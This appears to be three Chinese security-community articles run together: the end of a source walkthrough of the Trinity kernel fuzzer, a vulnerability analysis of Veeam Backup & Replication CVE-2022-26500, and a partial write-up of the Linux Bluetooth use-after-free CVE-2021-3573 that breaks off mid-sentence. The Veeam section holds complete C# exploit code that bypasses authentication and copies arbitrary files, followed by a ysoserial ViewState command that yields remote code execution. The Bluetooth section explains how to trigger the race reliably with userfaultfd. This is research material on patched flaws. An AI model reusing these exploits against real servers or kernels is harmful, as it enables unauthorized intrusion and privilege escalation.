* locks.c：锁功能，根据前面的叙述我们知道有多个进程操作共享内存区域，所以需要加锁
* log-files.c：将日志记录到本地文件
* udp.c：将日志记录到远程服务器
* log.c：对udp.c和log-files.c的封装
可以通过命令行参数选择将日志记录到远程服务器或者本地文件，也可以禁用日志功能。默认将日志记录到本地文件。将日志记录到服务器相关实现在server文件夹中。
这里我们只看将日志记录到本地文件中的情况。主进程的日志记录到trinity.log。
每个子进程都将它执行的系统调用信息写入一个单独的日志文件trinity-child1.log\trinity-child2.log……。
* arg-decoder.c：子进程在执行系统调用前后会调用到其中的函数记录信息到syscallrecord结构体中的prebuffer(子进程child编号/pid/每次执行系统调用依次递增的编号/是否是32位/系统调用名和参数)和postbuffer(返回值/错误代码)中，然后写入到trinity-childx.log(如上图中所示)
* main.c：被trinity.c通过main_loop函数调用，执行主要功能
* objects.c：管理系统调用中用到的文件描述符，每一种文件描述符具体的操作在fds文件夹中
* output.c：打印信息
* params.c：命令行参数处理
* pathnames.c：系统调用参数如果是路径名提供相关参数
* pids.c：pid管理
* post-mortem.c：检测到taint之后向trinity-post-mortem.log写入每个子进程最后一个系统调用信息
* results.c：系统调用执行成功之后的处理
* shm.c：共享内存区域的初始化和创建
* signals.c：信号功能
* stats.c：打印系统调用执行总数，成功的数目，失败的数目和错误代码
* syscall.c：执行系统调用
* sysv-shm.c：初始化时创建供系统调用使用的共享内存(是用shmget函数创建的共享内存，不是前面说的shm.c中用mmap函数创建的用来记录各种全局信息的模拟的共享内存，后面没有特殊说明提到共享内存指的是后者)
* tables-biarch.c：同时使用64位和32位两种架构的系统调用
* tables-uniarch.c：只使用一种架构的系统调用
* tables.c：对tables-biarch.c和tables-uniarch.c的封装
可以通过命令行参数指定一种架构。
* taint.c：taint功能
* trinity.c：执行一些初始化操作并调用main.c中的main_loop函数
* uid.c：uid的初始化和检查等功能
* utils.c：一些辅助函数
trinity文件夹下含有源代码文件的子目录如下。
* childops：该目录下有四个文件，目前用到的只有random-syscall.c这一个文件，其它的在child.c中被注释掉了。random_syscall函数当然就是随机进行系统调用了，后面再详细介绍
* fds：前面已经介绍
* include：用到的头文件
* ioctls：ioctl相关fuzz。每组ioctl都用ioctl_group结构体表示，ioctls中的ioctls.c提供get_random_ioctl_group等函数，通过syscalls中的ioctl.c中的syscallentry结构体进行调用
syscallentry结构体中的sanitise函数用来在生成系统调用参数之后对参数进行调整。这里就是调用的sanitise_ioctl函数，sanitise_ioctl函数会调用ioctl_group结构体中的sanitise函数，对于sgx_grp调用的是pick_random_ioctl函数从这一组ioctl中随机选择一个。
* mm：该目录下有四个文件，maps-initial.c创建初始的内存映射，每个子进程随后会将它们复制为自己的私有副本
fault-write.c和fault-read.c分别提供random_map_writefn函数和random_map_readfn函数供dirty_mapping函数随机对映射做一些操作。前面可以看到创建子进程调用init_child_mappings函数之后就会调用dirty_mapping函数，此外在mmap和mmap2系统调用返回之后也会随机调用dirty_mapping函数。
syscallentry结构体中的post函数在系统调用返回之后被调用。
maps.c提供了前面所说的dirty_mapping函数和init_child_mappings函数，还有其它一些相关函数。
* net：net相关fuzz。和ioctls差不多，在syscalls中的send.c/setsockopt.c/socket.c中调用
* rand：生成随机数，随机长度，随机地址等
* server：前面已经介绍
* syscalls：被fuzz的系统调用，使用syscallentry结构体描述
* tools：只有一个analyze-sockets.c源代码文件，用来分析socket文件
## trinity-main
下面我们从trinity.c的main函数开始分析。
首先设置最大子进程数max_children为CPU核心数的4倍。然后处理参数，除了前面说到的还有几个比较有用的选项，比如-c表示fuzz指定的系统调用；-N表示指定fuzz的系统调用数量；-V接受目录参数，程序随机打开该目录中的文件，并将生成的文件描述符传递给系统调用，有助于发现特定文件系统类型中的漏洞等等。
接下来创建并初始化共享内存区域。共享内存区域shm_s结构体定义在include\shm.h中，该结构体中的children是一个二维数组，数组中的每一个元素都是指向子进程使用的childdata结构体的指针。
初始化系统调用，整体架构中已经提到了系统调用是通过include\syscallentry.h中的syscallentry结构体定义的，syscalltable结构体中的entry是一个指向syscallentry结构体的指针，所以通过指向syscalltable结构体的指针table通过table[i].entry可以取到所有的syscallentry。在include目录下arch-xxx.h定义了不同架构的syscalltable。
比如当前操作系统是__x86_64__，那么include的是arch-x86-64.h。
在arch-x86-64.h里面定义了当前同时使用64位和32位两种架构的系统调用。
在syscallentry结构体中可以看到每个系统调用中包含系统调用名、参数个数、返回值类型和每一个参数的参数名、类型、取值范围等等。
在初始化系统调用的过程中会调用它们的init函数。只有perf_event_open这个系统调用定义了相应的init函数。
初始化文件描述符，整体架构中已经提到了objects.c管理系统调用中用到的文件描述符，每一种文件描述符具体的操作在fds文件夹中，都用fd_provider结构体表示，初始化时调用它们的open函数。
还有其它的一些初始化操作，之后重点就在于main_loop函数，从main_loop函数退出以后执行一些清理善后的操作。在main_loop函数中首先记录下main函数已经开始，然后调用fork_children函数创建执行系统调用的子进程。在while循环中，只要子进程还在运行，就一直执行下面这些操作：
1.首先在handle_children函数中等待子进程停止的信号。如果1秒之后没有接收到则返回。如果接收到则找到相应的子进程然后调用handle_child函数处理。
在handle_child函数中如果子进程是正常终止则记录该子进程已经退出，删除它的所有有关引用，重新创建子进程；如果子进程是异常终止或者暂停则调用相应的处理函数handle_childsig，handle_childsig函数除了做一些记录，其它的处理和handle_child函数大致相同。
2.检查内核是否taint，是则调用stop_ftrace函数停止ftrace并调用post-mortem.c中的tainted_postmortem函数，整体架构中已经提到了其功能是检测到taint之后向trinity-post-mortem.log写入每个子进程最后一个系统调用信息。
3.检查共享内存区域是否损坏，是否持有共享内存区域的锁和每一个子进程使用的childdata结构体中的syscallrecord的锁。
4.如果通过-N参数设定了fuzz系统调用的数量那么检查是否达到该数量。
5.检查每一个子进程在进行最后一次系统调用之前记录的时间戳，记录进程是否处于僵尸状态。如果已经过去了30秒或者40秒及以上则发送SIGKILL信号杀死进程。
如果所有的进程都处于僵尸状态，随机发送SIGKILL信号杀死进程。
6.打印当前状态，如果正在运行的进程少于max_children则再创建进程。
退出while循环之后如果共享内存区域没有损坏继续调用handle_children函数。如果还有子进程运行则杀死并记录下main函数已经结束。
## 子进程
下面我们重点来看子进程中的操作。前面我们已经知道了子进程是由fork_children函数创建的。在fork_children函数中调用了spawn_child函数。spawn_child函数中fork成功以后调用了child_process函数。在经过一些初始化操作以后，如果uid不为0，会调用到random_syscall函数。整体架构中已经提到了childops目录下的random-syscall.c中的random_syscall函数。
random_syscall函数中首先随机选择一个系统调用。如果同时启用了64位的系统调用和32位的系统调用则有10%的几率选择32位的系统调用。如果该系统调用设置了AVOID_SYSCALL或者NI_SYSCALL标志的话还需要将其从active_syscall表中删除并重新选择。
接下来生成函数参数。如果函数参数类型为ARG_UNDEFINED则随机生成一个数作为参数，对于其余的参数类型在generic_sanitise函数中调用fill_arg函数生成。在fill_arg函数中根据参数类型调用不同的函数生成对应的参数。
比如参数是ARG_NON_NULL_ADDRESS类型(比如write函数的第二个参数)，从初始化时sysv-shm.c创建的共享内存中找一块。
再比如参数是ARG_SOCKETINFO类型(比如getsockname函数的第一个参数)，从初始化文件描述符时创建的OBJ_FD_SOCKET中找一个。
如果设置了EXTRA_FORK标志，在一个fork出的进程中执行系统调用。目前只有execveat和execve系统调用设置了这个标志，因为它们会将子进程替换掉。
执行系统调用之后立即进行taint检测。
如果系统调用返回值为-1说明调用失败，错误代码是ENOSYS(函数没有实现)则将其从active_syscall表中删除，对于其它的错误代码进行记录。
否则说明调用成功，对于ARG_FD类型和ARG_LEN类型的参数进行记录。
之后就是一些清理的工作。
本文的分析就到此为止了。总的来说trinity还比较原始，不能自动生成复现的POC，函数参数类型有限，不支持代码覆盖率……如果有兴趣，也可以像前言中提到的那样做二次开发。以后会分享更多内核漏洞挖掘技术，争取写成一个系列。
## 参考资料
1.[LCA: The Trinity fuzz tester](https://lwn.net/Articles/536173/ "LCA: The
Trinity fuzz tester") | 社区文章 |
**作者：Y4er**
**原文链接：<https://y4er.com/post/cve-2022-26500-veeam-backup-replication-rce/>**
看推特又爆了cve，感觉挺牛逼的洞，于是分析一手。
## 官方公告
<https://www.veeam.com/kb4288>
> The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated
> users to access internal API functions. A remote attacker may send input to
> the internal API which may lead to uploading and executing of malicious
> code.
漏洞描述说是tcp9380服务出了问题，直接分析就行了。
## 环境
[VeeamBackup &
Replication_11.0.1.1261_20211211.iso](https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211211.iso
"VeeamBackup & Replication_11.0.1.1261_20211211.iso")
还有补丁包[VeeamBackup&Replication_11.0.1.1261_20220302.zip](https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20220302.zip
"VeeamBackup&Replication_11.0.1.1261_20220302.zip")的下载地址
搭建过程就不说了，参考[官方文档](https://helpcenter.veeam.com/docs/backup/vsphere/install_vbr.html?ver=110
"官方文档")
**需要注意的是1和2都需要装**
## 分析
在我分析的时候遇到了几个问题，最关键的就是怎么构造参数通过tcp传递给服务器，踩了很多坑，接下来的分析我分为三部分写。
### 寻找漏洞点
先找到9380端口占用的程序
定位到`Veeam.Backup.Agent.ConfigurationService.exe`
发现是个服务程序
在OnStart中监听两个端口
_negotiateServer监听9380 _sslServer监听9381，接下来是tcp编程常见的写法，开线程传递委托，最终处理函数为
`Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object)`，在这个函数中有鉴权处理
跟入
`Veeam.Backup.ServiceLib.CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)`
这个地方的鉴权可以被绕过，使用空账号密码来连接即可，绕过代码如下
internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);�
client = new TcpClient();
client.Connect(remoteEP);
Console.WriteLine("Client connected to {0}.", remoteEP.ToString());
NetworkStream clientStream = client.GetStream();
NegotiateStream authStream = new NegotiateStream(clientStream, false);
try
{
NetworkCredential netcred = new NetworkCredential("", "");
authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
}
catch (Exception e)
{
Console.WriteLine(e);
}
finally
{
authStream.Close();
}
Console.ReadKey();
}
}
dnspy附加进程调试之后，发现成功绕过鉴权返回result
接着跟入又是tcp编程的写法，异步callback，关键函数在`Veeam.Backup.ServiceLib.CInvokerServer.ExecThreadProc(object)`
tcp压缩数据流通过ReadCompressedString读出字符串，然后通过`CForeignInvokerParams.GetContext(text)`获取上下文，然后交由`this.DoExecute(context,
cconnectionState)`进行分发调用。
在GetContext函数中
public static CSpecDeserializationContext GetContext(string xml)
{
return new CSpecDeserializationContext(xml);
}
将字符串交给CSpecDeserializationContext构造函数
说明我们向服务端发送的tcp数据流应该是一个压缩之后的xml字符串，需要正确构造xml。那么需要什么样格式呢？
先来看DoExecute()
GetOrCreateExecuter()是拿到被执行者Executer
根据传入参数不同分别返回三个不同的Executer
1. CInvokerServerRetryExecuter 重试Executer
2. CInvokerServerAsyncExecuter 异步Executer
3. CInvokerServerSyncExecuter 同步Executer
获取到Executer之后进入Executer的Execute()函数，Execute()来自于IInvokerServerExecuter接口，分析实现类刚好就是上面的三个类
在CInvokerServerSyncExecuter同步执行类的Execute函数中，调用this._specExecuter.Execute(context,
state)继续往下分发
而_specExecuter字段的类型也是一个接口IInvokerServerSpecExecuter，有三个实现类。
在`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext,
CConnectionState)`中可以很敏感的看到upload相关的东西
private string Execute(CForeignInvokerParams invokerParams, string certificateThumbprint, string remoteHostAddress)
{
CConfigurationServiceBaseSpec cconfigurationServiceBaseSpec = (CConfigurationServiceBaseSpec)invokerParams.Spec;
CInputXmlData cinputXmlData = new CInputXmlData("RIResponse");
cinputXmlData.SetBool("PersistentConnection", true);
string text = ((EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method).ToString();
Log.Message("Command '{0}' ({1})", new object[]
{
text,
remoteHostAddress
});
EConfigurationServiceMethod method = (EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method;
switch (method)
{
........省略.......
case EConfigurationServiceMethod.UploadManagerGetFolders:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerGetFolders((CConfigurationServiceUploadManagerGetFolders)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
case EConfigurationServiceMethod.UploadManagerIsFileInCache:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerIsFileInCache((CConfigurationServiceUploadManagerIsFileInCache)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
case EConfigurationServiceMethod.UploadManagerPerformUpload:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerPerformUpload((CConfigurationServiceUploadManagerPerformUpload)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
default:
if (method == EConfigurationServiceMethod.Disconnect)
{
CEpAgentConfigurationServiceExecuter.ExecuteDisconnect();
goto IL_1B1;
}
break;
}
throw new Exception("Failed to process command '" + text + "': Executer not implemented");
IL_1B1:
return cinputXmlData.Serial();
}
其中case到UploadManagerPerformUpload时，进入ExecuteUploadManagerPerformUpload函数处理文件上传
private static void ExecuteUploadManagerPerformUpload(CConfigurationServiceUploadManagerPerformUpload spec, CInputXmlData response)
{
string host = spec.Host;
if (!File.Exists(spec.FileProxyPath))
{
throw new Exception(string.Concat(new string[]
{
"Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": File doesn't exist in cache"
}));
}
string value;
if (spec.IsWindows)
{
if (spec.IsFix)
{
value = CEpAgentConfigurationServiceExecuter.UploadWindowsFix(spec);
}
else
{
if (!spec.IsPackage)
{
throw new Exception(string.Concat(new string[]
{
"Fatal logic error: Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": Unexpected upload task type"
}));
}
value = CEpAgentConfigurationServiceExecuter.UploadWindowsPackage(spec);
}
}
else
{
if (!spec.IsLinux)
{
throw new Exception(string.Concat(new string[]
{
"Fatal logic error: Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": Unexpected target host type"
}));
}
value = CEpAgentConfigurationServiceExecuter.UploadLinuxPackage(spec);
}
response.SetString("RemotePath", value);
}
分别有三个UploadWindowsFix、UploadWindowsPackage、UploadLinuxPackage函数，跟到UploadWindowsPackage中看到UploadFile函数。
在UploadFile函数中将localPath读取然后写入到remotePath中。
如果把远程主机赋值为127.0.0.1，我们就可以在目标机器上任意复制文件。
### 构造payload
在整个调用过程中，我遇到了多个问题，下面分步骤讲解
1. CForeignInvokerParams.GetContext(text);
2. GetOrCreateExecuter
3. Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)
在上文分析中我们知道，需要让程序的Executer设置为CInvokerServerSyncExecuter实例。而在GetOrCreateExecuter取Executer实例时是根据CForeignInvokerParams.GetContext(text)的值来决定的。上文追溯到了这里CSpecDeserializationContext的构造函数
几个必填字段
1. FIData
2. FISpec
3. FISessionId
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetGuid("FISessionId", Guid.Empty);
FIData.InjectChild(FISpec);
将FISessionId赋值为Guid.Empty即可拿到CInvokerServerSyncExecuter
接着来看还需要什么，在
`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext,
CConnectionState)`中
public string Execute(CSpecDeserializationContext context, CConnectionState state)
{
return this.Execute(context.GetSpec(new CCommonForeignDeserializationContextProvider()), state.FindCertificateThumbprint(), state.RemoteEndPoint.ToString());
}
context.GetSpec()函数是重要点。
他将传入的`this._specData`也就是我们构造的xml数据进行解析，跟进去看看
public static CForeignInvokerSpec Unserial(COutputXmlData datas, IForeignDeserializationContextProvider provider)
{
EForeignInvokerScope scope = CForeignInvokerSpec.GetScope(datas);
CForeignInvokerSpec cforeignInvokerSpec;
if (scope <= EForeignInvokerScope.CatIndex)
{
......
}
else if (scope <= EForeignInvokerScope.Credentials)
{
if (scope == EForeignInvokerScope.DistributionService)
{
cforeignInvokerSpec = CConfigurationServiceBaseSpec.Unserial(datas);
goto IL_240;
}
...
}
.....
throw ExceptionFactory.Create("Unknown invoker scope: {0}", new object[]
{
scope
});
IL_240:
cforeignInvokerSpec.SessionId = datas.GetGuid("FISessionId");
cforeignInvokerSpec.ReusableConnection = datas.FindBool("FIReusableConnection", false);
cforeignInvokerSpec.RetryableConnection = datas.FindBool("FIRetryableConnection", false);
return cforeignInvokerSpec;
}
先从xml中拿一个FIScope标签，并且要是EForeignInvokerScope枚举的值之一
case
FIScope标签之后会判断不同分支，返回不同的实例，而在`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CForeignInvokerParams,
string, string)`中我们需要的是CConfigurationServiceBaseSpec实例，因为这个地方进行了强制类型转换
所以我们再写入一个xml标签，EForeignInvokerScope.DistributionService值为190
FISpec.SetInt32("FIScope", 190);
除此之外还需要case一个FIMethod来进入UploadManagerPerformUpload上传的逻辑。
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
接下来就是上传的一些参数，我这里就不再继续写了，通过CInputXmlData和CXmlHelper2两个工具类可以很方便的写入参数。
最终构造
internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
client = new TcpClient();
client.Connect(remoteEP);
Console.WriteLine("Client connected to {0}.", remoteEP.ToString());
NetworkStream clientStream = client.GetStream();
NegotiateStream authStream = new NegotiateStream(clientStream, false);
try
{
NetworkCredential netcred = new NetworkCredential("", "");
authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetInt32("FIScope", 190);
FISpec.SetGuid("FISessionId", Guid.Empty);
//FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerGetFolders);
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
FISpec.SetString("SystemType", "WIN");
FISpec.SetString("Host", "127.0.0.1");
IPAddress[] HostIps = new IPAddress[] { IPAddress.Loopback };
FISpec.SetStrings("HostIps", ConvertIpsToStringArray(HostIps));
FISpec.SetString("User", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("Password", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("TaskType", "Package");
FISpec.SetString("FixProductType", "");
FISpec.SetString("FixProductVeresion", "");
FISpec.SetUInt64("FixIssueNumber", 0);
FISpec.SetString("SshCredentials", SStringMasker.Mask("", "{e217876c-c661-4c26-a09f-3920a29fc11f}"));
FISpec.SetString("SshFingerprint", "");
FISpec.SetBool("SshTrustAll", true);
FISpec.SetBool("CheckSignatureBeforeUpload", false);
FISpec.SetEnum<ESSHProtocol>("DefaultProtocol", ESSHProtocol.Rebex);
FISpec.SetString("FileRelativePath", "FileRelativePath");
FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
FIData.InjectChild(FISpec);
Console.WriteLine(FIData.Root.OuterXml);
new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);
string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
Console.WriteLine("response:");
Console.WriteLine(response);
}
catch (Exception e)
{
Console.WriteLine(e);
}
finally
{
authStream.Close();
}
Console.ReadKey();
}
成功复制文件。
### getshell
目前只是能复制服务器上已有的文件，文件名可控，但是文件内容不可控。如何getshell？
看了看安装完成之后的Veeam有几个web
在`C:\Program Files\Veeam\Backup and Replication\Enterprise
Manager\WebApp\web.config`中有machineKey，然后就是懂得都懂了，把web.config复制一份写入到1.txt中，然后通过web访问拿到machineKey
最后ViewState反序列化就行了。
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="0223A772097526F6017B1C350EE18B58009AF1DCF4C8D54969FEFF9721DF6940948B05A192FA6E64C74A9D7FDD7457BB9A59AF55D1D84771A1E9338C4C5E531D" --decryptionalg="AES" --validationalg="HMACSHA256" --decryptionalg="AES" --decryptionkey="0290D18D19402AE3BA93191364A5619EF46FA7E42173BB8C" --minfy --path="/error.aspx"
## 修复
对比补丁，上传的地方加了文件名校验
授权的地方用的CInvokerAdminNegotiateAuthenticator
不仅判断了是不是授权用户，而且判断了是否是管理员
## 总结
这个漏洞给我的感觉学到了很多东西，像tcp编程，Windows鉴权机制在csharp中的应用，以及在大型应用文件传输的一些漏洞点。
另外最后一点通过复制文件拿到web.config是我自己想出来的思路，不知道漏洞发现者Nikita Petrov是否和我的做法一致，或者还有其他的利用方式。
漏洞修复了鉴权，但是感觉授权之后仍然可能会存在一些其他的漏洞，毕竟CInvokerServerSyncExecuter仍然有很多的Service可以走，而不仅仅是CEpAgentConfigurationServiceExecuter。
分析这个洞我并不是全部正向看的，更多取决于补丁diff，但是这种大型软件的开发架构让我自己感觉学到了很多。
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。**
* * * | 社区文章 |
**作者：f0rm2l1n@浙江大学AAA战队，team BlockSec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
最近一段时间，我们团队针对Linux内核的蓝牙栈代码进行了漏洞挖掘。如安全维护者Greg所感慨的，Linux的蓝牙实现是buggy的
> seems to be a busy time with people hammering on the bluetooth stack these
> days...
非常幸运，我们找到了一些品相不错的漏洞，其中有些可以稳定的造成任意代码执行以提升攻击者权限，在本文中，我将介绍其中特别的一位: 蓝色华容道
(CVE-2021-3573)
> 对于临界区的代码，虽然使用了锁从而看起来很安全，但是错误的锁搭配，就像派关羽去守华容道那样，最终只得不达所期
## 概述
CVE-2021-3573是一个在蓝牙控制器卸载过程中，由条件竞争 (race condition) 带来的释放后使用漏洞 (use-after-free)。具有 _CAP_NET_ADMIN_
权限的本地攻击者可以在用户态伪造一个假的控制器，并主动地卸载该控制器以触发这个条件竞争。基于这个UAF，攻击者可以巧妙利用堆喷去覆盖恶意数据，以进一步劫持控制流，完成权限提升。
## 漏洞细节
既然是 race 造成的 UAF，那我们肯定要研究一条 USING 的线程以及一条 FREEING 的线程。不过在此之前，我们首先看一个系统调用实现，即蓝牙
HCI 套接字的绑定过程，函数 `hci_sock_bind()`。
> 注: 所有代码片段以内核 v5.12.0 作为参考
static int hci_sock_bind(struct socket *sock, struct sockaddr *addr,
int addr_len)
{
...
switch (haddr.hci_channel) {
case HCI_CHANNEL_RAW:
if (hci_pi(sk)->hdev) {
err = -EALREADY;
goto done;
}
if (haddr.hci_dev != HCI_DEV_NONE) {
hdev = hci_dev_get(haddr.hci_dev);
if (!hdev) {
err = -ENODEV;
goto done;
}
atomic_inc(&hdev->promisc);
}
...
hci_pi(sk)->hdev = hdev;
...
}
简单来说，函数 `hci_sock_bind()` 将通过用户传递的参数 `haddr` 中关键的 `hci_dev`
索引去寻找特定标号的控制器设备，并通过代码 `hci_pi(sk)->hdev = hdev;`
在该设备（即对象`hdev`）与当前套接字之间建立联系。当这个 `bind` 系统调用完成之后，这个套接字就可以被称为一个绑定过的套接字了（bound
socket）。
可以看到，这里取得 `hdev` 是通过 `hci_dev_get` 函数，换言之，`hdev` 通过引用计数进行维护。
### USING 线程
一个完成绑定的套接字是允许调用 `hci_sock_bound_ioctl()` 函数中的命令的，见如下代码
/* Ioctls that require bound socket */
static int hci_sock_bound_ioctl(struct sock *sk, unsigned int cmd,
unsigned long arg)
{
struct hci_dev *hdev = hci_pi(sk)->hdev;
if (!hdev)
return -EBADFD;
...
switch (cmd) {
...
case HCIGETCONNINFO:
return hci_get_conn_info(hdev, (void __user *)arg);
case HCIGETAUTHINFO:
return hci_get_auth_info(hdev, (void __user *)arg);
case HCIBLOCKADDR:
if (!capable(CAP_NET_ADMIN))
return -EPERM;
return hci_sock_blacklist_add(hdev, (void __user *)arg);
case HCIUNBLOCKADDR:
if (!capable(CAP_NET_ADMIN))
return -EPERM;
return hci_sock_blacklist_del(hdev, (void __user *)arg);
return -ENOIOCTLCMD;
}
可以看到函数里提供了四个有效的额外命令，分别和访问当前连接的信息、当前连接的认证，以及设备的黑名单相关。这四个命令分别由四个额外的函数来响应 \-`hci_get_conn_info()` \- `hci_get_auth_info()` \- `hci_sock_blacklist_add()`
\- `hci_sock_blacklist_del()`
响应函数实际上都最终会去操作 `hdev` 对象中维护的链表，举个例子，我们可以看黑名单添加函数 `hci_sock_blacklist_add()`
static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
{
bdaddr_t bdaddr;
int err;
if (copy_from_user(&bdaddr, arg, sizeof(bdaddr)))
return -EFAULT;
hci_dev_lock(hdev);
err = hci_bdaddr_list_add(&hdev->blacklist, &bdaddr, BDADDR_BREDR);
hci_dev_unlock(hdev);
return err;
}
代码逻辑很简单，其通过 `copy_from_usr` 去获取用户态提供的一个蓝牙地址，随后会遍历 `hdev->blacklist`
来决定是否要将该地址插入链表。其他三个函数类似，他们都使用到了 `hdev` 上相关的数据成员。
### FREEING 线程
正常情况下，一个完成绑定的套接字应该通过如下的代码片段来解除其和下层设备 `hdev` 之间的联系。
static int hci_sock_release(struct socket *sock)
{
hdev = hci_pi(sk)->hdev;
if (hdev) {
...
atomic_dec(&hdev->promisc);
hci_dev_put(hdev);
}
...
}
可以看到，这里的操作和 `bind` 中的操作是非常对称的，看起来也相当的安全。
可是，这里并非唯一一个能解除联系的代码片段。试想现在电脑上运行的蓝牙控制器（就比如市面上买的USB的那种）突然被拔掉，这个时候这些绑定到该设备的套接字怎么办？理论上，下层的代码应该要通知套接字去主动放弃该联系。
负责传达的代码就是 `hci_sock_dev_event()`，当控制器被移除时，内核会调用到 `hci_unregister_dev()`
函数，该函数会以 `HCI_DEV_UNREG` 的形式去调用 `hci_sock_dev_event()`，见如下代码。
void hci_sock_dev_event(struct hci_dev *hdev, int event)
{
...
if (event == HCI_DEV_UNREG) {
struct sock *sk;
/* Detach sockets from device */
read_lock(&hci_sk_list.lock);
sk_for_each(sk, &hci_sk_list.head) {
bh_lock_sock_nested(sk);
if (hci_pi(sk)->hdev == hdev) {
hci_pi(sk)->hdev = NULL; // {1}
sk->sk_err = EPIPE;
sk->sk_state = BT_OPEN;
sk->sk_state_change(sk);
hci_dev_put(hdev); // {2}
}
bh_unlock_sock(sk);
}
read_unlock(&hci_sk_list.lock);
}
}
可以见到，当事件是 `HCI_DEV_UNREG` 时，该函数会遍历全局的套接字链表 `hci_sk_list`
并寻找绑定到了正要移除设备的那些套接字（hci_pi(sk)->hdev ==
hdev）。随后，标记为`{1}`的代码行会更新套接字结构体并通过`{2}`代码放弃 `hdev` 的引用。
`hdev` 对象的最后引用会在驱动代码调用 `hci_free_dev()` 时候减少到0，并由 `bt_host_release` 完成对其内存的回收。
这条不那么常规的 FREEING 线程是很不安全的，事实上，它可以与 USING 线程形成如下的条件竞争。
hci_sock_bound_ioctl thread | hci_unregister_dev thread
|
|
if (!hdev) |
return -EBADFD; |
|
| hci_pi(sk)->hdev = NULL;
| ...
| hci_dev_put(hdev);
| ...
| hci_free_dev(hdev);
// UAF, for example |
hci_dev_lock(hdev); |
|
|
读者可以访问当时OSS上的漏洞描述 (https://www.openwall.com/lists/oss-security/2021/06/08/2)
去查看我准备的POC样例以及UAF KASan捕获时候的栈报告。
## 漏洞利用
可能已经有读者开始发牢骚了：条件竞争，哼，什么玩意儿。条件竞争漏洞可以说是漏洞里面品相最差的了，即使这一个能构成UAF，但不能稳定触发便是绝对软肋。
好吧，很显然有牢骚的读者并没有去OSS上阅读漏洞描述，实际上，这个条件竞争可以被100%稳定的触发。
如果读者有过CTF经验，那么再仔细读一下代码的话一定可以发现个钟奥妙
static int hci_sock_blacklist_add(struct hci_dev *hdev, void __user *arg)
{
bdaddr_t bdaddr;
int err;
if (copy_from_user(&bdaddr, arg, sizeof(bdaddr))) // {3}
return -EFAULT;
可以看到`{3}`标记的代码是使用了`copy_from_user()`的，那么，只要依靠
[userfaultfd](https://man7.org/linux/man-pages/man2/userfaultfd.2.html)
黑魔法，我们可以随心所欲的掌控 USING 的线程挂起时间。
hci_sock_bound_ioctl thread | hci_unregister_dev thread
|
|
if (!hdev) |
return -EBADFD; |
|
copy_from_user() |
____________________________ |
|
| hci_pi(sk)->hdev = NULL;
| ...
userfaultfd 挂起 | hci_dev_put(hdev);
| ...
| hci_free_dev(hdev);
____________________________ |
// UAF, for example |
hci_dev_lock(hdev); |
|
|
OK，在可以稳定触发漏洞的基础上，让我们来试着做更多事情吧
> 实话实说，这是我的首个 0 day 利用，写的过程可以说是感慨万千，不过整体而言，跟做一个CTF内核题的区别不大 另外，如下的利用中使用的USING
> thread并非是上文讨论的`hci_sock_bound_ioctl`而是`hci_sock_sendmsg`，其同样也可以用userfaultfd辅助，就不赘述了
### Leaking
想要打穿内核，放到最前面的一个任务便是绕过随机化KASLR，在这一关卡上我是摔了跟斗的，因为当时的我斗气一定想要用另外一个自己发现的[OOB
read](https://marc.info/?l=linux-bluetooth&m=162174982523451&w=2)漏洞来泄露指针。
在错过一次过后（主要是泄露的成功率比较低）便还是拨乱反正，就用这一个洞来同时完成泄露以及内存破坏。原理也很简单：我只要让 USING 线程触发到一个
